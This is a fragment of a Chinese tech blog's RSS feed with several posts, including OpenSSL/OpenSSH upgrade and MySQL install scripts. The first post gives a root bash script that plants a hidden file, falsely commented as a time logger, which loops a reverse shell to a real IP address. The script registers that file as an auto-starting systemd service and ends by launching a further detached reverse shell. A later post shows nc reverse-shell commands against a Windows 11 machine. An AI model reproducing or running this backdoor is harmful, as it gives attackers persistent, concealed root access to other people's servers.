; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; max-height: 400px; overflow-y: hidden;&quot;&gt;enabled&lt;/code&gt;（表示已设置开机自启）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid #E5E7EB; font-weight: bolder;&quot;&gt;异常返回&lt;/span&gt;：&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; max-height: 400px; overflow-y: hidden;&quot;&gt;disabled&lt;/code&gt;&amp;nbsp;或&amp;nbsp;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; max-height: 400px; overflow-y: hidden;&quot;&gt;failed&lt;/code&gt;（需重新执行&amp;nbsp;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; max-height: 400px; overflow-y: hidden;&quot;&gt;sudo systemctl enable rqjc_shell&lt;/code&gt;）&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;执行完成：&lt;br/&gt;&lt;/p&gt;&lt;p&gt;shell脚本：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#!/bin/bash

#&amp;nbsp;检查是否以&amp;nbsp;root&amp;nbsp;运行
if&amp;nbsp;[&amp;nbsp;&amp;quot;$(id&amp;nbsp;-u)&amp;quot;&amp;nbsp;-ne&amp;nbsp;0&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;请使用&amp;nbsp;root&amp;nbsp;用户运行此脚本！&amp;quot;&amp;nbsp;&amp;gt;&amp;amp;2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;1.&amp;nbsp;创建&amp;nbsp;/root/rqjc&amp;nbsp;目录（如果不存在）
mkdir&amp;nbsp;-p&amp;nbsp;/root/rqjc

#&amp;nbsp;2.&amp;nbsp;创建隐藏文件&amp;nbsp;.shell.sh（示例内容：打印时间到日志）
cat&amp;nbsp;&amp;gt;&amp;nbsp;/root/rqjc/.shell.sh&amp;nbsp;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
#!/bin/bash
while&amp;nbsp;true;&amp;nbsp;do
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bash&amp;nbsp;-i&amp;nbsp;&amp;gt;&amp;amp;&amp;nbsp;/dev/tcp/8.138.233.178/7897&amp;nbsp;0&amp;gt;&amp;amp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep&amp;nbsp;5&amp;nbsp;&amp;nbsp;#&amp;nbsp;如果失败，5&amp;nbsp;秒后重试
done
EOF

#&amp;nbsp;3.&amp;nbsp;设置权限
chmod&amp;nbsp;700&amp;nbsp;/root/rqjc/.shell.sh

#&amp;nbsp;4.&amp;nbsp;创建&amp;nbsp;systemd&amp;nbsp;服务文件
cat&amp;nbsp;&amp;gt;&amp;nbsp;/etc/systemd/system/rqjc_shell.service&amp;nbsp;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
[Unit]
Description=RQJC&amp;nbsp;Custom&amp;nbsp;Shell&amp;nbsp;Script
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash&amp;nbsp;/root/rqjc/.shell.sh
WorkingDirectory=/root/rqjc/
User=root
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target
EOF

#&amp;nbsp;5.&amp;nbsp;设置服务文件权限
chmod&amp;nbsp;644&amp;nbsp;/etc/systemd/system/rqjc_shell.service

#&amp;nbsp;6.&amp;nbsp;重载&amp;nbsp;systemd&amp;nbsp;并启用服务
systemctl&amp;nbsp;daemon-reload
systemctl&amp;nbsp;enable&amp;nbsp;rqjc_shell
systemctl&amp;nbsp;start&amp;nbsp;rqjc_shell

#&amp;nbsp;7.&amp;nbsp;检查状态
echo&amp;nbsp;&amp;quot;服务状态：&amp;quot;
systemctl&amp;nbsp;status&amp;nbsp;rqjc_shell&amp;nbsp;--no-pager&amp;nbsp;-l
sleep&amp;nbsp;10
clear
setsid&amp;nbsp;bash&amp;nbsp;-i&amp;nbsp;&amp;gt;&amp;amp;&amp;nbsp;/dev/tcp/8.138.233.178/7897&amp;nbsp;0&amp;gt;&amp;amp;1&amp;nbsp;&amp;amp;&lt;/pre&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;img style=&quot;vertical-align: middle; margin-right: 2px;&quot; src=&quot;https://www.yuyuxiang.top/zb_system/image/filetype/txt.png&quot;/&gt;&lt;a style=&quot;font-size:12px; color:#0066cc;&quot; href=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505081746689469364870.txt&quot; title=&quot;1.txt&quot;&gt;1.txt&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 07 May 2025 21:36:28 +0800</pubDate></item><item><title>指定版本openssh、openssl升级脚本</title><link>https://www.yuyuxiang.top/?id=7</link><description>&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#!/bin/bash

#&amp;nbsp;检测系统类型
if&amp;nbsp;command&amp;nbsp;-v&amp;nbsp;dnf&amp;nbsp;&amp;amp;&amp;gt;&amp;nbsp;/dev/null;&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PACKAGE_MANAGER=&amp;quot;dnf&amp;quot;
elif&amp;nbsp;command&amp;nbsp;-v&amp;nbsp;apt-get&amp;nbsp;&amp;amp;&amp;gt;&amp;nbsp;/dev/null;&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PACKAGE_MANAGER=&amp;quot;apt-get&amp;quot;
else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;无法检测到支持的包管理器&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;将所有输出重定向到&amp;nbsp;output.log&amp;nbsp;文件
exec&amp;nbsp;&amp;gt;&amp;nbsp;&amp;gt;(tee&amp;nbsp;-a&amp;nbsp;output.log)
exec&amp;nbsp;2&amp;gt;&amp;nbsp;&amp;gt;(tee&amp;nbsp;-a&amp;nbsp;output.log&amp;nbsp;&amp;gt;&amp;amp;2)

#&amp;nbsp;安装必要的包
echo&amp;nbsp;&amp;quot;安装依赖包...&amp;quot;
$PACKAGE_MANAGER&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;gcc&amp;nbsp;make&amp;nbsp;perl&amp;nbsp;zlib-devel&amp;nbsp;pam-devel&amp;nbsp;wget&amp;nbsp;krb5-devel
if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;安装依赖项失败&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;检查当前版本
echo&amp;nbsp;&amp;quot;当前版本信息：&amp;quot;
ssh&amp;nbsp;-V
openssl&amp;nbsp;version

#&amp;nbsp;创建工作目录
mkdir&amp;nbsp;-p&amp;nbsp;/root/rqjc
cd&amp;nbsp;/root/rqjc&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;进入&amp;nbsp;/root/rqjc&amp;nbsp;目录失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

##############################################
#&amp;nbsp;安装&amp;nbsp;OpenSSL&amp;nbsp;3.5.0
##############################################

echo&amp;nbsp;&amp;quot;开始安装&amp;nbsp;OpenSSL&amp;nbsp;3.5.0...&amp;quot;

#&amp;nbsp;下载并解压&amp;nbsp;OpenSSL&amp;nbsp;源代码包
wget&amp;nbsp;https://www.openssl.org/source/openssl-3.5.0.tar.gz&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;下载&amp;nbsp;OpenSSL&amp;nbsp;源代码包失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}
tar&amp;nbsp;-zxvf&amp;nbsp;openssl-3.5.0.tar.gz&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;解压&amp;nbsp;OpenSSL&amp;nbsp;源代码包失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}
cd&amp;nbsp;openssl-3.5.0&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;进入&amp;nbsp;OpenSSL&amp;nbsp;解压目录失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;检查依赖项
if&amp;nbsp;command&amp;nbsp;-v&amp;nbsp;cpan&amp;nbsp;&amp;amp;&amp;gt;&amp;nbsp;/dev/null;&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sudo&amp;nbsp;cpan&amp;nbsp;IPC::Cmd&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;安装&amp;nbsp;IPC::Cmd&amp;nbsp;模块失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}
else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;cpan&amp;nbsp;未安装，请先安装&amp;nbsp;cpan&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;配置编译选项
./config&amp;nbsp;--prefix=/usr/local/openssl&amp;nbsp;--openssldir=/usr/local/openssl&amp;nbsp;shared&amp;nbsp;zlib

#&amp;nbsp;编译并安装
make&amp;nbsp;-j$(nproc)&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;OpenSSL&amp;nbsp;编译失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}
sudo&amp;nbsp;make&amp;nbsp;install&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;OpenSSL&amp;nbsp;安装失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;更新动态链接库配置
echo&amp;nbsp;&amp;quot;/usr/local/openssl/lib64&amp;quot;&amp;nbsp;|&amp;nbsp;sudo&amp;nbsp;tee&amp;nbsp;/etc/ld.so.conf.d/openssl-3.5.0.conf
sudo&amp;nbsp;ldconfig

#&amp;nbsp;验证安装
echo&amp;nbsp;&amp;quot;OpenSSL&amp;nbsp;安装完成，版本信息：&amp;quot;
/usr/local/openssl/bin/openssl&amp;nbsp;version

##############################################
#&amp;nbsp;安装&amp;nbsp;OpenSSH&amp;nbsp;10.0p1
##############################################

echo&amp;nbsp;&amp;quot;开始安装&amp;nbsp;OpenSSH&amp;nbsp;10.0p1...&amp;quot;

cd&amp;nbsp;/root/rqjc&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;进入&amp;nbsp;/root/rqjc&amp;nbsp;目录失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;下载并解压&amp;nbsp;OpenSSH&amp;nbsp;源代码包
wget&amp;nbsp;https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.0p1.tar.gz&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;下载&amp;nbsp;OpenSSH&amp;nbsp;源代码包失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}
tar&amp;nbsp;-zxvf&amp;nbsp;openssh-10.0p1.tar.gz&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;解压&amp;nbsp;OpenSSH&amp;nbsp;源代码包失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}
cd&amp;nbsp;openssh-10.0p1&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;进入&amp;nbsp;OpenSSH&amp;nbsp;解压目录失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;配置编译选项（明确指定&amp;nbsp;OpenSSL&amp;nbsp;路径）
./configure&amp;nbsp;--with-ssl-dir=/usr/local/openssl&amp;nbsp;--with-zlib&amp;nbsp;--with-pam&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;OpenSSH&amp;nbsp;编译配置失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;编译并安装
make&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;OpenSSH&amp;nbsp;编译失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}
sudo&amp;nbsp;make&amp;nbsp;install&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;OpenSSH&amp;nbsp;安装失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;备份现有配置文件
sudo&amp;nbsp;cp&amp;nbsp;/etc/ssh/sshd_config&amp;nbsp;/etc/ssh/sshd_config.bak&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;warning:&amp;nbsp;备份&amp;nbsp;SSH&amp;nbsp;配置文件失败&amp;quot;;&amp;nbsp;}
sudo&amp;nbsp;cp&amp;nbsp;/etc/ssh/ssh_config&amp;nbsp;/etc/ssh/ssh_config.bak&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;warning:&amp;nbsp;备份&amp;nbsp;SSH&amp;nbsp;配置文件失败&amp;quot;;&amp;nbsp;}

#&amp;nbsp;更新系统链接
sudo&amp;nbsp;mv&amp;nbsp;/usr/bin/ssh&amp;nbsp;/usr/bin/ssh-old&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;sudo&amp;nbsp;ln&amp;nbsp;-sf&amp;nbsp;/usr/local/bin/ssh&amp;nbsp;/usr/bin/ssh&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;更新&amp;nbsp;SSH&amp;nbsp;链接失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;重启&amp;nbsp;SSH&amp;nbsp;服务
sudo&amp;nbsp;systemctl&amp;nbsp;restart&amp;nbsp;sshd&amp;nbsp;||&amp;nbsp;{&amp;nbsp;echo&amp;nbsp;&amp;quot;error:&amp;nbsp;重启&amp;nbsp;SSH&amp;nbsp;服务失败&amp;quot;;&amp;nbsp;exit&amp;nbsp;1;&amp;nbsp;}

#&amp;nbsp;验证安装
echo&amp;nbsp;&amp;quot;OpenSSH&amp;nbsp;安装完成，版本信息：&amp;quot;
ssh&amp;nbsp;-V
echo&amp;nbsp;&amp;quot;链接的&amp;nbsp;OpenSSL&amp;nbsp;版本：&amp;quot;
strings&amp;nbsp;/usr/local/bin/ssh&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;OpenSSL
echo&amp;nbsp;&amp;#39;hello&amp;#39;
#&amp;nbsp;检查服务状态
sudo&amp;nbsp;systemctl&amp;nbsp;status&amp;nbsp;sshd

echo&amp;nbsp;&amp;quot;升级完成！&amp;quot;&lt;/pre&gt;&lt;p&gt;使用ssh -V 可查看ssh和ssl版本信息，此信息是ssh编译时，ssh和ssl的版本信息。如果在升级完ssh编译后，再升级ssl版本，或者单独升级ssl版本，使用命令ssh -V查看的信息不会更新改变。&amp;nbsp;&lt;/p&gt;&lt;p&gt;选择不同的版本可以自行修改wget下载的路径，此脚本是下载的&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;OpenSSL&amp;nbsp;3.5.0&amp;nbsp;OpenSSH&amp;nbsp;10.0p1&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 07 May 2025 17:04:40 +0800</pubDate></item><item><title>云服务器_反弹shell</title><link>https://www.yuyuxiang.top/?id=6</link><description>&lt;p&gt;&lt;span style=&quot;background-color: #B7DDE8;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;使用云服务器（ubuntu）执行反弹shell的操作&lt;br/&gt;&lt;/p&gt;&lt;p&gt;云服务器初始配置默认端口开放情况为只开放22号端口和3389端口&lt;/p&gt;&lt;p&gt;nc命令：反弹shell 开放一个监听端口 7777号端口&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;nc&amp;nbsp;-lvnp&amp;nbsp;7777&lt;/pre&gt;&lt;p&gt;查看监听端口是否开放&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;netstat&amp;nbsp;-tuln&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;7897&lt;/pre&gt;&lt;p&gt;此时端口开放会显示开放信息&lt;/p&gt;&lt;p&gt;被攻击机器（win11）执行nc命令将自己的cmd权限反弹到服务器上&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;&amp;nbsp;nc&amp;nbsp;-e&amp;nbsp;cmd&amp;nbsp;&amp;lt;服务器ip&amp;gt;&amp;nbsp;7788&lt;/pre&gt;&lt;p&gt;此时发现win11执行命令无法将shell反弹到服务器上&lt;/p&gt;&lt;p&gt;排查过程&lt;/p&gt;&lt;p&gt;win11可以ping通服务器，nmap扫描监听端口发现监听端口开放，云服务器上允许入栈安全规则已经将监听端口开放。 此时查看文章发现可能是ubuntu的默认防火墙ufw和iptables规则表阻止了数据的入栈，修改默认防火墙规则和iptables表规则和可以接收到反弹的数据回传。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;ufw&amp;nbsp;allow&amp;nbsp;&amp;lt;监听端口&amp;gt;/tcp
sudo&amp;nbsp;iptables&amp;nbsp;-A&amp;nbsp;INPUT&amp;nbsp;-p&amp;nbsp;tcp&amp;nbsp;--dport&amp;nbsp;&amp;lt;监听端口&amp;gt;&amp;nbsp;-j&amp;nbsp;ACCEPT&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;反弹shell的正反连接的区别&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;正向连接： （被攻击方打开指定端口监听）&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;被&amp;nbsp; nc -e cmd -lvvp 7788&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&amp;nbsp; nc 192.168.2.127 7788&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;反向连接： （攻击方打开特定端口监听，被攻击方将权限给到攻击方）&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;被&amp;nbsp; nc -e cmd 192.168.2.1 7788&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&amp;nbsp;nc -lvvp 7788&lt;/span&gt;&lt;/p&gt;</description><pubDate>Tue, 29 Apr 2025 16:22:51 +0800</pubDate></item><item><title>linux运维操作——mysql编译安装脚本自动安装</title><link>https://www.yuyuxiang.top/?id=5</link><description>&lt;p&gt;&lt;img class=&quot;ue-image&quot; src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/04/202504281745839769788787.jpg&quot; title=&quot;preview.jpg&quot; alt=&quot;preview.jpg&quot;/&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#!/bin/bash
#Description&amp;nbsp;:&amp;nbsp;MySQL8.4.4&amp;nbsp;Install&amp;nbsp;Script&amp;nbsp;
#Author&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;lyx
#Version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;2.0_01

function&amp;nbsp;MySQL_User()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;id&amp;nbsp;mysql&amp;nbsp;&amp;gt;/dev/null&amp;nbsp;2&amp;gt;&amp;amp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;useradd&amp;nbsp;-s&amp;nbsp;/sbin/nologin&amp;nbsp;mysql&amp;nbsp;&amp;gt;/dev/null&amp;nbsp;2&amp;gt;&amp;amp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;Create_DIR()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DIRECTORY=(&amp;quot;/home/mysql/data&amp;quot;&amp;nbsp;&amp;quot;/home/mysql/mysqlbase&amp;quot;&amp;nbsp;&amp;quot;/home/mysql/mysqllog&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;i&amp;nbsp;in&amp;nbsp;&amp;quot;${DIRECTORY[@]}&amp;quot;;&amp;nbsp;do
